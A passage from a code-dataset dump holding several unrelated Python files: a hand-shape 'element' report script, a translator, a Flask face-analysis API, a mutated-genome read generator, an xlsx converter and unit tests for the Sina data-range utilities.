\r\n\r\n\r\nos.system('EdrawlineOnImage.py')\r\nos.system('Ecroping.py')\r\nos.system('EcountBluepixcels.py')\r\n\r\nos.system('EdrawlineOnImage.py')\r\nos.system('Ecroping.py')\r\nos.system('EcountBluepixcels.py')\r\n\r\nos.system('EdrawlineOnImage.py')\r\nos.system('Ecroping.py')\r\nos.system('EcountBluepixcels.py')\r\n\r\n\r\nf = open('handshape.txt','r')\r\nwidth = int(f.readline())\r\nu = int(f.readline())\r\nl = int(f.readline())\r\nf.close()\r\nr1 = u/float(width)\r\nr2 = l/float(width)\r\n\r\n\r\n# length equal\r\nif (r1-r2)> -0.1 and (r1-r2) < 0.1:\r\n if(width < u):\r\n ff = open('Elements/earth.txt','r')\r\n else:\r\n ff = open('Elements/water.txt','r')\r\n\r\nelif u > l :\r\n ff = open('Elements/air.txt','r')\r\nelif l > u :\r\n ff = open('Elements/fire.txt','r')\r\n\r\ndata = ff.read()\r\nf = open('report.txt','w')\r\nf.write(data)\r\nf.close()\r\nff.close()\r\n","sub_path":"runElement.py","file_name":"runElement.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"546881411","text":"from googletrans import Translator\nimport sys \nif len(sys.argv) == 1:\n print('Please input at least one word')\nelse:\n word = ' '.join(sys.argv[1:])\n tr = Translator()\n src = tr.detect(word).lang\n if src == 'en':\n dest = 'zh-cn'\n else:\n dest = 'en'\n translation = tr.translate(word, dest = dest).text\n if len(sys.argv) == 2:\n print('%s -> %s' % (word, translation))\n else:\n print('-> %s\\n-> %s' % (word, translation))\n","sub_path":"OtherFiles/fy.py","file_name":"fy.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"250027675","text":"# -*- coding: utf-8 -*-\n\nimport json\nimport api_functions as af\n\nfrom flask import Flask, request, jsonify\n\napp = Flask(__name__)\n \n@app.route(\"/v1/faceAnalysis\", methods=['POST'])\ndef faceAnalysis():\n if request.headers['Content-Type'] != 'application/json':\n print(request.headers['Content-Type'])\n return flask.jsonify(res='error'), 400\n \n # request.argsにクエリパラメータが含まれている\n image_url = json.loads(request.data)[\"image_url\"]\n analysis_type = json.loads(request.data)[\"analysisType\"]\n \n analysis_result = af.face_analysis_main(image_url, analysis_type)\n \n return analysis_result\n \n@app.route('/v1/changeFace', methods=['POST'])\ndef changeFace():\n if request.headers['Content-Type'] != 'application/json':\n print(request.headers['Content-Type'])\n return flask.jsonify(res='error'), 400\n\n eachPara = json.loads(request.data)[\"eachParameterValue\"]\n \n sumPara = eachPara[0] + eachPara[1]\n\n return str(sumPara)\n\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"65485059","text":"\"\"\"\nImports two Python scripts to create \nmutated genome and make the fragments.\n\"\"\"\n\nimport sys\nimport os\nfrom heteroplasmy import create_mutated_genome\nfrom fragmentiser import make_fragments\n\n# get environment variables and arguments\n# define what variant we are working with\nposition = sys.argv[1]\nsub = sys.argv[2]\n# and the reads we want to produce\nread = os.environ.get('READ') # single or paired\nread_length = int(os.environ.get('LENGTH'))\ndistance = int(os.environ.get('DISTANCE'))\n\n# Here we go\ncreate_mutated_genome(\"../genomes/rCS_mtDNA.fasta\",\"mtdna38_mut.fa\", position, sub)\nif read == 'SINGLE':\n\tmake_fragments('mtdna38_mut.fa', 'lane1_read1.fastq', read_length)\nelif read == 'PAIRED':\n\tmake_fragments('mtdna38_mut.fa', 'lane1_read.fastq', read_length, True, distance)\n","sub_path":"programs/mutated_reads.py","file_name":"mutated_reads.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"263914608","text":"import xlrd\nimport unicodecsv\nimport os\nimport csv\nimport shutil\nimport math\n\ndef xlsx_to_custom_delimited_file(input_dir, output_dir, extension_to_save, delimiter, row_start_index): \n\n\ttry:\n\t\twb = xlrd.open_workbook(input_dir)\n\texcept xlrd.biffh.XLRDError as e:\n\t\treturn e\n\texcept FileNotFoundError as e:\n\t\treturn e\n\texcept:\n\t\treturn \"Failed to load input file.\"\n\n\tsheetnames = wb.sheet_names()\n\tprint('Sheet Names', sheetnames)\n\t\n\tfor sheetname in sheetnames:\n\t\tempty_count_flag = False\n\n\t\ttry:\n\t\t\tfp = open(os.path.join(output_dir+'\\\\'+sheetname+'.'+extension_to_save),'w', encoding=\"utf8\", newline='')\n\n\t\t\t# Open the sheet by name\n\t\t\txl_sheet = wb.sheet_by_name(sheetname)\n\n\t\t\t# Iteration through cells\n\t\t\tfor row_idx in range(row_start_index, xl_sheet.nrows):\n\n\t\t\t\tempty_count = 0 # Count for empty cells\n\t\t\t\tfor col_idx in range(0, xl_sheet.ncols):\n\t\t\t\t\tcell_obj = xl_sheet.cell(row_idx, col_idx)\n\t\t\t\t\tcell_type = xl_sheet.cell_type(row_idx, col_idx)\n\t\t\t\t\tvaluestr = xl_sheet.cell_value(row_idx, col_idx)\n\n\t\t\t\t\tbackChar = delimiter\n\t\t\t\t\t#Reach the end of columns\n\t\t\t\t\tif col_idx == xl_sheet.ncols - 1:\n\t\t\t\t\t\tbackChar = ''\n\t\t\t\t\t\n\t\t\t\t\t# Check if the current cell is blank\n\t\t\t\t\tif cell_type == xlrd.XL_CELL_EMPTY:\n\t\t\t\t\t\tempty_count = empty_count + 1\n\t\t\t\t\t\n\t\t\t\t\t# Check if the row is blank\n\t\t\t\t\tif empty_count == xl_sheet.ncols:\n\t\t\t\t\t\tempty_count_flag = True\n\n\t\t\t\t\tif empty_count_flag:\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\t#Check if a number is same as it's decimal\n\t\t\t\t\tif cell_type==xlrd.XL_CELL_NUMBER:\n\t\t\t\t\t\tif(valuestr==int(valuestr)):\n\t\t\t\t\t\t\tfp.write(str(int(valuestr))+backChar)\n\t\t\t\t\t\t\tcontinue\n\n\t\t\t\t\t#Date handling\n\t\t\t\t\tif cell_type == xlrd.XL_CELL_DATE:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\ty, m, d, h, i, s = xlrd.xldate_as_tuple(valuestr, wb.datemode)\n\t\t\t\t\t\t\tfp.write(str(d) + '/' + str(m) + '/' + str(y) + backChar)\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tfp.write(str(valuestr) + backChar)\n\t\t\t\t\telse:\n\t\t\t\t\t\tif row_idx == 0 and cell_type == xlrd.XL_CELL_NUMBER:\n\t\t\t\t\t\t\tfp.write(str(int(valuestr)) + backChar)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tfp.write(str(valuestr) + backChar)\n\t\t\t\tif empty_count_flag:\n\t\t\t\t\tbreak\n\t\t\t\tfp.write('\\n')\n\t\t\tfp.close()\n\t\texcept Exception as processing_exception:\n\t\t\tprint(processing_exception)\n\t\t\treturn 'Error occured while processing the file'\n\treturn 'Success'","sub_path":"converters.py","file_name":"converters.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"498361594","text":"\"\"\"\nTests for Sina utilities.\n\nNote that testing options may be limited in some cases. For example, the\nget_example_path function depends on the SINA_TEST_KERNEL environment, which\nshould always be set during testing (through tox); however, the function is\nwritten such that this should not be a testing issue.\n\"\"\"\nimport os\nimport shutil\nimport unittest\nfrom types import GeneratorType\n\nimport sina.utils\nfrom sina.utils import DataRange, ListCriteria, sort_and_standardize_criteria\n\n# Path to the directory for running tests involving temporary files. (Use this\n# file's directory as the basis for the path for now.)\nRUN_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), \"..\",\n \"tests\", \"run_tests\", \"sina_utils\"))\n\n# Disable pylint invalid-name due to significant number of tests with names\n# exceeding the 30 character limit\n# pylint: disable=invalid-name\n\n\n# Disable pylint public methods to if and until the team decides to refactor the code\nclass TestSinaUtils(unittest.TestCase): # pylint: disable=too-many-public-methods\n \"\"\"Tests for Sina Utilities functions.\"\"\"\n\n def setUp(self):\n \"\"\"Set up the tests.\"\"\"\n if os.path.isdir(RUN_PATH):\n shutil.rmtree(RUN_PATH, True)\n\n os.makedirs(RUN_PATH)\n if \"SINA_TEST_KERNEL\" not in os.environ:\n os.environ[\"SINA_TEST_KERNEL\"] = \"sina-unittest\"\n\n def tearDown(self):\n \"\"\"Tear down the tests.\"\"\"\n if os.path.isdir(RUN_PATH):\n shutil.rmtree(RUN_PATH, True)\n\n def test_get_example_path_no_db(self):\n \"\"\"Test the function when there is no database present.\"\"\"\n with self.assertRaises(ValueError):\n sina.utils.get_example_path(\"missing.sqlite3\",\n example_dirs=RUN_PATH)\n\n def test_get_example_path_test_db(self):\n \"\"\"\n Test the function when there is a test \"database\" present.\n\n The function doesn't care about the file type so create an empty text\n file.\n \"\"\"\n suffix = '-test'\n path_format = \"test_db/first{}.txt\"\n filename = os.path.join(RUN_PATH, path_format.format(suffix))\n os.makedirs(os.path.dirname(filename))\n with open(filename, \"w\") as fout:\n fout.write(\"\\n\")\n\n result = sina.utils.get_example_path(path_format.format(''), suffix,\n RUN_PATH)\n self.assertEqual(filename, result,\n \"Expected {}, not {}\".format(filename, result))\n os.remove(filename)\n\n def test_get_example_path_db(self):\n \"\"\"\n Test the function when there is a test \"database\" present.\n\n The function doesn't care about the file type so create an empty text\n file.\n \"\"\"\n filename = os.path.join(RUN_PATH, \"test_db2/another.txt\")\n os.makedirs(os.path.dirname(filename))\n with open(filename, \"w\") as fout:\n fout.write(\"\\n\")\n\n result = sina.utils.get_example_path(filename, '-test2', RUN_PATH)\n self.assertEqual(filename, result,\n \"Expected {}, not {}\".format(filename, result))\n os.remove(filename)\n\n def test_intersect_lists_empty(self):\n \"\"\"Test that the intersection of empty lists is empty.\"\"\"\n self.assertEqual(sina.utils.intersect_lists([]), set())\n\n def test_intersect_lists_one(self):\n \"\"\"Test that the intersection of one list is the set of itself.\"\"\"\n test_list = [\"spam\", \"eggs\", 29]\n self.assertEqual(sina.utils.intersect_lists([test_list]), set(test_list))\n\n def test_intersect_lists_many(self):\n \"\"\"Test that the intersection of many lists represents their shared elements.\"\"\"\n first_list = [\"spam\", \"eggs\", \"ham\", 29, 4.14]\n second_list = [4.14, \"spam\", \"eggs\", 29, \"spam\"]\n third_list = [-20, 29, \"spam\", \"eggs\", \"ham\"]\n all_lists = [first_list, second_list, third_list]\n shared_elements = set([\"spam\", \"eggs\", 29])\n self.assertEqual(sina.utils.intersect_lists(all_lists), shared_elements)\n\n def test_intersect_ordered_empty(self):\n \"\"\"Test that the intersection of empty iterators is empty.\"\"\"\n gen_none = (i for i in [])\n gen_also_none = (i for i in [])\n self.assertFalse(list(sina.utils.intersect_ordered([gen_none,\n gen_also_none])))\n\n def test_intersect_ordered_one(self):\n \"\"\"Test that the intersection of a single iterator is the contents of that iterator.\"\"\"\n alone_list = [1, 2, 3, 4]\n gen_alone = (i for i in alone_list)\n self.assertEqual(list(sina.utils.intersect_ordered([gen_alone])),\n alone_list)\n\n def test_intersect_ordered_empty_nonempty(self):\n \"\"\"Test that the intersection of an empty and non-empty iterator is empty.\"\"\"\n gen_none = (i for i in [])\n gen_some = (i for i in [1, 2, 3])\n self.assertFalse(list(sina.utils.intersect_ordered([gen_none,\n gen_some])))\n\n def test_intersect_ordered_nonempty_empty(self):\n \"\"\"\n Test that the intersection of a non-empty and empty iterator is empty.\n\n Essentially, test that order doesn't matter.\n \"\"\"\n gen_none = (i for i in [])\n gen_some = (i for i in [1, 2, 3])\n self.assertFalse(list(sina.utils.intersect_ordered([gen_some,\n gen_none])))\n\n def test_intersect_ordered_many(self):\n \"\"\"Test that non-empty iterators return the intersection of their contents.\"\"\"\n gen_even = (i for i in range(0, 10, 2))\n gen_rando = (i for i in [-1, 0, 1, 2, 5, 6, 8])\n gen_10 = (i for i in range(10))\n intersect = sina.utils.intersect_ordered([gen_even,\n gen_rando,\n gen_10])\n # Order is important\n self.assertEqual(list(intersect), [0, 2, 6, 8])\n\n gen_colors = (i for i in [\"blue\", \"orange\", \"white\"])\n gen_fruits = (i for i in [\"apple\", \"banana\", \"orange\"])\n intersect_str = sina.utils.intersect_ordered([gen_colors,\n gen_fruits])\n self.assertEqual(list(intersect_str), [\"orange\"])\n\n def test_intersect_ordered_lists(self):\n \"\"\"Test that intersect_ordered works with lists as well as generators.\"\"\"\n list_even = range(0, 10, 2)\n list_rando = [-1, 0, 1, 2, 5, 6, 8]\n list_10 = range(10)\n intersect = sina.utils.intersect_ordered([list_even,\n list_rando,\n list_10])\n # Order is important\n self.assertEqual(list(intersect), [0, 2, 6, 8])\n\n gen_colors = (i for i in [\"blue\", \"orange\", \"white\"])\n list_fruits = [\"apple\", \"banana\", \"orange\"]\n intersect_str = sina.utils.intersect_ordered([gen_colors,\n list_fruits])\n self.assertEqual(list(intersect_str), [\"orange\"])\n\n def test_intersect_ordered_return_type(self):\n \"\"\"Test that, no matter the type of iterator given, what's returned is a generator.\"\"\"\n list_many = [1, 2, 3, 4]\n list_many_more = [3, 4, 5, 6]\n gen_many = (i for i in list_many)\n gen_many_more = (i for i in list_many_more)\n list_and_list = sina.utils.intersect_ordered([list_many, list_many_more])\n self.assertTrue(isinstance(list_and_list, GeneratorType))\n gen_and_gen = sina.utils.intersect_ordered([gen_many, gen_many_more])\n self.assertTrue(isinstance(gen_and_gen, GeneratorType))\n iterator_mix = sina.utils.intersect_ordered([gen_many, list_many_more,\n list_many, gen_many_more])\n self.assertTrue(isinstance(iterator_mix, GeneratorType))\n no_iterator = sina.utils.intersect_ordered([])\n self.assertTrue(isinstance(no_iterator, GeneratorType))\n\n def test_merge_overlapping_ranges(self):\n \"\"\"Test that we merge overlapping DataRanges.\"\"\"\n ranges = [DataRange(max=0),\n DataRange(min=0, max=5),\n DataRange(min=3, max=4)]\n merged_range = DataRange(max=5)\n self.assertEqual(sina.utils.merge_ranges(ranges), [merged_range])\n\n def test_merge_non_overlapping_ranges(self):\n \"\"\"Test that we don't merge non-overlapping DataRanges.\"\"\"\n ranges = [DataRange(min=3, max=4),\n DataRange(min=5, max=6)]\n self.assertEqual(sina.utils.merge_ranges(ranges), ranges)\n\n def test_merge_disordered_ranges(self):\n \"\"\"Test that we correctly order our ranges and their mergings.\"\"\"\n ranges = [DataRange(min=5.5),\n DataRange(min=3, max=4, min_inclusive=False),\n DataRange(min=5, max=6)]\n merged_ranges = [DataRange(min=3, max=4, min_inclusive=False),\n DataRange(min=5)]\n self.assertEqual(sina.utils.merge_ranges(ranges), merged_ranges)\n\n def test_merge_string_ranges(self):\n \"\"\"Test that we merge string ranges correctly.\"\"\"\n ranges = [DataRange(min=\"cat\", max=\"giraffe\", min_inclusive=False),\n DataRange(min=\"dog\", max=\"zebra\")]\n merged_ranges = [DataRange(min=\"cat\", max=\"zebra\", min_inclusive=False)]\n self.assertEqual(sina.utils.merge_ranges(ranges), merged_ranges)\n\n def test_invert_ranges_one_range(self):\n \"\"\"Test that we correctly invert a single DataRange.\"\"\"\n data_range = DataRange(min=2, max=4)\n opposite_ranges = [DataRange(max=2, max_inclusive=False),\n DataRange(min=4, min_inclusive=True)]\n self.assertEqual(sina.utils.invert_ranges([data_range]), opposite_ranges)\n\n def test_invert_ranges_one_range_zeroes(self):\n \"\"\"\n Test that we correctly invert a single DataRange.\n\n Checks for correct behavior on range bounds that are \"Falsey\" (ex: zero).\n \"\"\"\n data_range = DataRange(min=0, max=0, max_inclusive=True)\n opposite_ranges = [DataRange(max=0),\n DataRange(min=0, min_inclusive=False)]\n self.assertEqual(sina.utils.invert_ranges([data_range]), opposite_ranges)\n\n def test_invert_ranges_many_ranges(self):\n \"\"\"Test that we correctly invert multiple DataRanges.\"\"\"\n ranges = [DataRange(max=2, max_inclusive=False),\n DataRange(min=4, min_inclusive=True)]\n opposite_range = DataRange(min=2, max=4)\n self.assertEqual(sina.utils.invert_ranges(ranges), [opposite_range])\n\n def test_invert_ranges_strings(self):\n \"\"\"Test that range inversion works with strings.\"\"\"\n ranges = [DataRange(max=\"cat\", max_inclusive=True),\n DataRange(min=\"dog\", min_inclusive=False)]\n opposite_range = DataRange(min=\"cat\", max=\"dog\",\n min_inclusive=False, max_inclusive=True)\n self.assertEqual(sina.utils.invert_ranges(ranges), [opposite_range])\n\n def test_invert_ranges_multitype_error(self):\n \"\"\"Test that a TypeError is raised if mixed types of ranges are inverted.\"\"\"\n ranges = [DataRange(max=\"cat\", max_inclusive=True),\n DataRange(min=2, min_inclusive=False)]\n with self.assertRaises(TypeError) as context:\n sina.utils.invert_ranges(ranges)\n self.assertIn('must be only numeric DataRanges or', str(context.exception))\n\n def test_invert_ranges_none_error(self):\n \"\"\"Test that a ValueError is raised if no ranges are inverted.\"\"\"\n ranges = []\n with self.assertRaises(ValueError) as context:\n sina.utils.invert_ranges(ranges)\n self.assertIn('must contain at least one DataRange', str(context.exception))\n\n def test_basic_data_range_scalar(self):\n \"\"\"Test basic DataRange creation using scalars.\"\"\"\n basic_case = DataRange(1, 2)\n self.assertEqual(basic_case.min, 1)\n self.assertEqual(basic_case.max, 2)\n self.assertTrue(basic_case.min_inclusive)\n self.assertFalse(basic_case.max_inclusive)\n\n def test_basic_data_range_string(self):\n \"\"\"\n Test basic DataRange creation using strings.\n\n We test both to ensure no bad assumptions are being made, as previously\n we only handled scalars in our ranges.\n \"\"\"\n with_strings = DataRange(\"foo_a\", \"foo_c\")\n self.assertEqual(with_strings.min, \"foo_a\")\n self.assertEqual(with_strings.max, \"foo_c\")\n self.assertTrue(with_strings.min_inclusive)\n self.assertFalse(with_strings.max_inclusive)\n\n def test_data_range_inclusivity_assignment(self):\n \"\"\"Test DataRange creation including inclusivity.\"\"\"\n flipped_inclusivity = DataRange(1, 2, min_inclusive=False, max_inclusive=True)\n self.assertFalse(flipped_inclusivity.min_inclusive)\n self.assertTrue(flipped_inclusivity.max_inclusive)\n\n def test_data_range_bad_assignment(self):\n \"\"\"Tests invalid assignments for DataRanges.\"\"\"\n with self.assertRaises(TypeError) as context:\n DataRange(30, \"fast\")\n self.assertIn('Bad type for portion of range', str(context.exception))\n with self.assertRaises(TypeError) as context:\n DataRange([\"foo\", \"bar\"], [\"spam\", \"eggs\"])\n self.assertIn('Bad type for portion of range', str(context.exception))\n with self.assertRaises(ValueError) as context:\n DataRange(30, 1)\n self.assertIn('min must be <= max', str(context.exception))\n with self.assertRaises(ValueError) as context:\n DataRange()\n self.assertIn('Null DataRange', str(context.exception))\n\n def test_data_range_equality(self):\n \"\"\"Test the DataRange equality operator.\"\"\"\n basic_case = DataRange(1, 2)\n flipped_inclusivity = DataRange(1, 2e0, min_inclusive=False, max_inclusive=True)\n with_strings = DataRange(\"foo_a\", \"foo_c\")\n basic_case_again = DataRange(1, 2)\n self.assertEqual(basic_case, basic_case_again)\n self.assertNotEqual(basic_case, flipped_inclusivity)\n self.assertNotEqual(basic_case, with_strings)\n\n def test_data_range_contains(self):\n \"\"\"Test the DataRange contains operator.\"\"\"\n flipped_inclusivity = DataRange(1, 2, min_inclusive=False, max_inclusive=True)\n inf_max = DataRange(max=100)\n with_strings = DataRange(min=\"foo_a\", min_inclusive=False)\n self.assertTrue(2 in flipped_inclusivity)\n self.assertFalse(1 in flipped_inclusivity)\n self.assertTrue(-999 in inf_max)\n self.assertFalse(100 in inf_max)\n self.assertTrue(\"foo_c\" in with_strings)\n self.assertFalse(\"foo_a\" in with_strings)\n\n def test_data_range_overlaps(self):\n \"\"\"Test that we detect when DataRanges overlap.\"\"\"\n lesser = DataRange(1, None)\n greater = DataRange(-4, 5)\n self.assertTrue(lesser.overlaps(greater))\n self.assertTrue(greater.overlaps(lesser))\n\n def test_data_range_no_overlap(self):\n \"\"\"Test that we detect when DataRanges don't overlap.\"\"\"\n lesser = DataRange(1, 2)\n greater = DataRange(3, 5)\n self.assertFalse(lesser.overlaps(greater))\n self.assertFalse(greater.overlaps(lesser))\n\n def test_data_range_overlap_strings(self):\n \"\"\"Test that we detect overlapping string DataRanges.\"\"\"\n lesser = DataRange(\"cat\", \"horse\")\n greater = DataRange(\"dog\", \"fish\")\n self.assertTrue(greater.overlaps(lesser))\n\n def test_data_range_overlap_bad_types(self):\n \"\"\"Test that we refuse to check type-mismatched DataRanges for overlap.\"\"\"\n strings = DataRange(\"cat\", \"horse\")\n scalars = DataRange(42, 45)\n with self.assertRaises(TypeError) as context:\n self.assertFalse(strings.overlaps(scalars))\n self.assertIn('Only DataRanges of the same type (numeric or lexicographic)',\n str(context.exception))\n\n def test_data_range_min_is_finite(self):\n \"\"\"Test that we correctly detect a DataRanges with closed min bounds.\"\"\"\n open_min = DataRange(max=12)\n bounded_min = DataRange(min=12)\n self.assertFalse(open_min.min_is_finite())\n self.assertTrue(bounded_min.min_is_finite())\n\n def test_data_range_max_is_finite(self):\n \"\"\"Test that we correctly detect a DataRanges with closed max bounds.\"\"\"\n open_max = DataRange(min=12)\n bounded_max = DataRange(max=12)\n self.assertFalse(open_max.max_is_finite())\n self.assertTrue(bounded_max.max_is_finite())\n\n def test_data_range_is_single(self):\n \"\"\"Test the DataRange is_single_value method.\"\"\"\n is_single = DataRange(2, 2, max_inclusive=True)\n is_also_single = DataRange(\"cat\", \"cat\", max_inclusive=True)\n is_not_single = DataRange(2, 10, max_inclusive=True)\n self.assertTrue(is_single.is_single_value())\n self.assertTrue(is_also_single.is_single_value())\n self.assertFalse(is_not_single.is_single_value())\n\n def test_data_range_identity(self):\n \"\"\"Test functions that return what kind of range the DataRange is.\"\"\"\n numerical = DataRange(min=1)\n lexographic = DataRange(max=\"foo_c\")\n self.assertTrue(numerical.is_numeric_range())\n self.assertFalse(numerical.is_lexographic_range())\n self.assertTrue(lexographic.is_lexographic_range())\n self.assertFalse(lexographic.is_numeric_range())\n\n def test_data_range_string_setters_with_scalars(self):\n \"\"\"Test the functions that use strings to set up DataRanges with scalar vals.\"\"\"\n flipped_inclusivity = DataRange(1, 2e100, min_inclusive=False, max_inclusive=True)\n flipped_inclusivity.parse_min(\"[0\")\n self.assertEqual(flipped_inclusivity.min, 0)\n self.assertTrue(flipped_inclusivity.min_inclusive)\n flipped_inclusivity.parse_max(\"4)\")\n self.assertEqual(flipped_inclusivity.max, 4)\n self.assertFalse(flipped_inclusivity.max_inclusive)\n # None should automatically set inclusivity to False\n flipped_inclusivity.parse_min(\"[\")\n self.assertIsNone(flipped_inclusivity.min)\n self.assertFalse(flipped_inclusivity.min_inclusive)\n\n def test_data_range_string_setters_with_strings(self):\n \"\"\"Test the functions that use strings to set up DataRanges with string vals.\"\"\"\n # Strings must follow python variable naming conventions, so we don't\n # test strings like '4' or 'some=body'\n with_strings = DataRange(\"foo_a\", \"foo_c\")\n with_strings.parse_min(\"(a_p3pp3r_mint\")\n self.assertEqual(with_strings.min, 'a_p3pp3r_mint')\n self.assertFalse(with_strings.min_inclusive)\n with_strings.parse_max('spam]')\n self.assertEqual(with_strings.max, 'spam')\n self.assertTrue(with_strings.max_inclusive)\n\n def test_data_range_bad_string_setters_min(self):\n \"\"\"Test invalid string setters for DataRanges. For min only.\"\"\"\n flipped_inclusivity = DataRange(1, 2, min_inclusive=False, max_inclusive=True)\n with_strings = DataRange(\"foo_a\", \"foo_c\")\n with self.assertRaises(TypeError) as context:\n flipped_inclusivity.parse_min(\"(cat\")\n self.assertIn('Bad type for portion of range', str(context.exception))\n with self.assertRaises(ValueError) as context:\n with_strings.parse_min(\"spam\")\n self.assertIn('Bad inclusiveness specifier', str(context.exception))\n\n def test_data_range_bad_string_setters_max(self):\n \"\"\"Test invalid string setters for DataRanges. For max only.\"\"\"\n flipped_inclusivity = DataRange(1, 2, min_inclusive=False, max_inclusive=True)\n with_strings = DataRange(\"foo_a\", \"foo_c\")\n with self.assertRaises(TypeError) as context:\n flipped_inclusivity.parse_max(\"cat)\")\n self.assertIn('Bad type for portion of range', str(context.exception))\n with self.assertRaises(ValueError) as context:\n with_strings.parse_max(\"4\")\n self.assertIn('Bad inclusiveness specifier', str(context.exception))\n\n def test_basic_listcriteria(self):\n \"\"\"Test that ListCriteria can be initialized properly.\"\"\"\n strings = (\"spam\", \"eggs\")\n scalars = (1, 2, 3)\n all_alt = sina.utils.ListQueryOperation.ALL\n with_strings = ListCriteria(entries=strings, operation=\"ALL\")\n with_scalars = ListCriteria(entries=scalars, operation=all_alt)\n self.assertEqual(with_strings.entries, strings)\n self.assertEqual(with_scalars.entries, scalars)\n self.assertEqual(with_strings.operation, with_scalars.operation,\n sina.utils.ListQueryOperation.ALL)\n\n def test_listcriteria_assignment(self):\n \"\"\"Verify ListCriteria setters and getters are working as expected.\"\"\"\n strings = (\"spam\", \"eggs\")\n scalars = (1, 2, 3)\n criteria = ListCriteria(entries=strings, operation=\"ALL\")\n # Setters (we're using @property)\n criteria.entries = scalars\n criteria.operation = \"ANY\"\n # Getters\n self.assertEqual(criteria.entries, scalars)\n self.assertEqual(criteria.operation, sina.utils.ListQueryOperation.ANY)\n\n def test_listcriteria_tostring(self):\n \"\"\"Verify that ListCriteria display as expected.\"\"\"\n scalars = (1, 2, 3)\n all_alt = sina.utils.ListQueryOperation.ALL\n criteria = ListCriteria(entries=scalars, operation=all_alt)\n self.assertEqual(criteria.__repr__(), criteria.__str__(),\n 'ListCriteria '\n .format(scalars, all_alt))\n\n def test_listcriteria_type(self):\n \"\"\"Verify that ListCriteria have is_lexographic and is_numeric set.\"\"\"\n strings = (\"spam\", \"eggs\")\n scalars = (1, 2, 3)\n criteria = ListCriteria(entries=strings, operation=\"ONLY\")\n self.assertTrue(criteria.is_lexographic)\n self.assertFalse(criteria.is_numeric)\n # Switching entry type should set fields appropriately.\n criteria.entries = scalars\n self.assertFalse(criteria.is_lexographic)\n self.assertTrue(criteria.is_numeric)\n criteria.entries = strings\n self.assertTrue(criteria.is_lexographic)\n self.assertFalse(criteria.is_numeric)\n\n def test_listcriteria_validation_tuples(self):\n \"\"\"Test ListCriteria only accepts tuples.\"\"\"\n valid_vals = (\"spam\", \"eggs\")\n disallowed_iter = [1, 2, 3]\n criteria = ListCriteria(entries=valid_vals, operation=\"ALL\")\n\n with self.assertRaises(TypeError) as context:\n criteria.entries = disallowed_iter\n self.assertIn('Entries must be expressed as a tuple',\n str(context.exception))\n\n def test_listcriteria_validation_entries_type(self):\n \"\"\"Test ListCriteria enforces entries being numeric xor lexographic.\"\"\"\n valid_vals = (\"spam\", \"eggs\")\n invalid_vals = (\"spam\", 12)\n criteria = ListCriteria(entries=valid_vals, operation=\"ALL\")\n with self.assertRaises(TypeError) as context:\n criteria.entries = invalid_vals\n self.assertIn(\"Entries must be only strings/lexographic DataRanges \"\n \"or only scalars/numeric DataRanges.\", str(context.exception))\n\n def test_listcriteria_validation_entries_exist(self):\n \"\"\"Test ListCriteria enforces entries a non-empty entries list.\"\"\"\n valid_vals = (\"spam\", \"eggs\")\n no_vals = ()\n criteria = ListCriteria(entries=valid_vals, operation=\"ALL\")\n with self.assertRaises(TypeError) as context:\n criteria.entries = no_vals\n self.assertIn(\"Entries must be a tuple of strings/lexographic DataRanges, \"\n \"or of scalars/numeric DataRanges, not empty\",\n str(context.exception))\n\n def test_listcriteria_validation_operator(self):\n \"\"\"Test ListCriteria enforces choosing an existing ListQueryOperation.\"\"\"\n criteria = ListCriteria(entries=(\"spam\", \"eggs\"), operation=\"ALL\")\n with self.assertRaises(ValueError) as context:\n criteria.operation = \"FORBIDDEN_OPERATOR\"\n self.assertIn('is not a valid ListQueryOperation', str(context.exception))\n\n def test_list_criteria_numeric_protection(self):\n \"\"\"Test that ListCriteria's is_numeric cannot be set by hand.\"\"\"\n criteria = ListCriteria(entries=(\"spam\", \"eggs\"), operation=\"ALL\")\n with self.assertRaises(AttributeError) as context:\n criteria.is_numeric = True\n self.assertIn(\"can't set attribute\", str(context.exception))\n\n def test_list_criteria_lexographic_protection(self):\n \"\"\"Test that ListCriteria's is_lexographic cannot be set by hand.\"\"\"\n criteria = ListCriteria(entries=(\"spam\", \"eggs\"), operation=\"ALL\")\n with self.assertRaises(AttributeError) as context:\n criteria.is_lexographic = True\n self.assertIn(\"can't set attribute\", str(context.exception))\n\n def test_has_all(self):\n \"\"\"Test that has_all is creating the expected ListCriteria object.\"\"\"\n has_all = sina.utils.has_all(\"spam\", \"egg\")\n equiv = ListCriteria(entries=(\"spam\", \"egg\"), operation=\"ALL\")\n self.assertEqual(has_all.entries, equiv.entries)\n self.assertEqual(has_all.operation, equiv.operation)\n\n def test_has_any(self):\n \"\"\"Test that has_any is creating the expected ListCriteria object.\"\"\"\n has_any = sina.utils.has_any(\"spam\", \"egg\")\n equiv = ListCriteria(entries=(\"spam\", \"egg\"), operation=\"ANY\")\n self.assertEqual(has_any.entries, equiv.entries)\n self.assertEqual(has_any.operation, equiv.operation)\n\n def test_has_only(self):\n \"\"\"Test that has_only is creating the expected ListCriteria object.\"\"\"\n has_only = sina.utils.has_only(\"spam\", \"egg\")\n equiv = ListCriteria(entries=(\"spam\", \"egg\"), operation=\"ONLY\")\n self.assertEqual(has_only.entries, equiv.entries)\n self.assertEqual(has_only.operation, equiv.operation)\n\n def test_sort_and_standardizing(self):\n \"\"\"Test the function for processing query criteria.\"\"\"\n criteria = {\"numra\": DataRange(1, 2),\n \"lexra\": DataRange(\"bar\", \"foo\"),\n \"num\": 12,\n \"num2\": 2,\n \"listnum\": ListCriteria(entries=(1, 2), operation=\"ALL\"),\n \"lex\": \"cat\"}\n scalar, string, scalar_list, string_list = 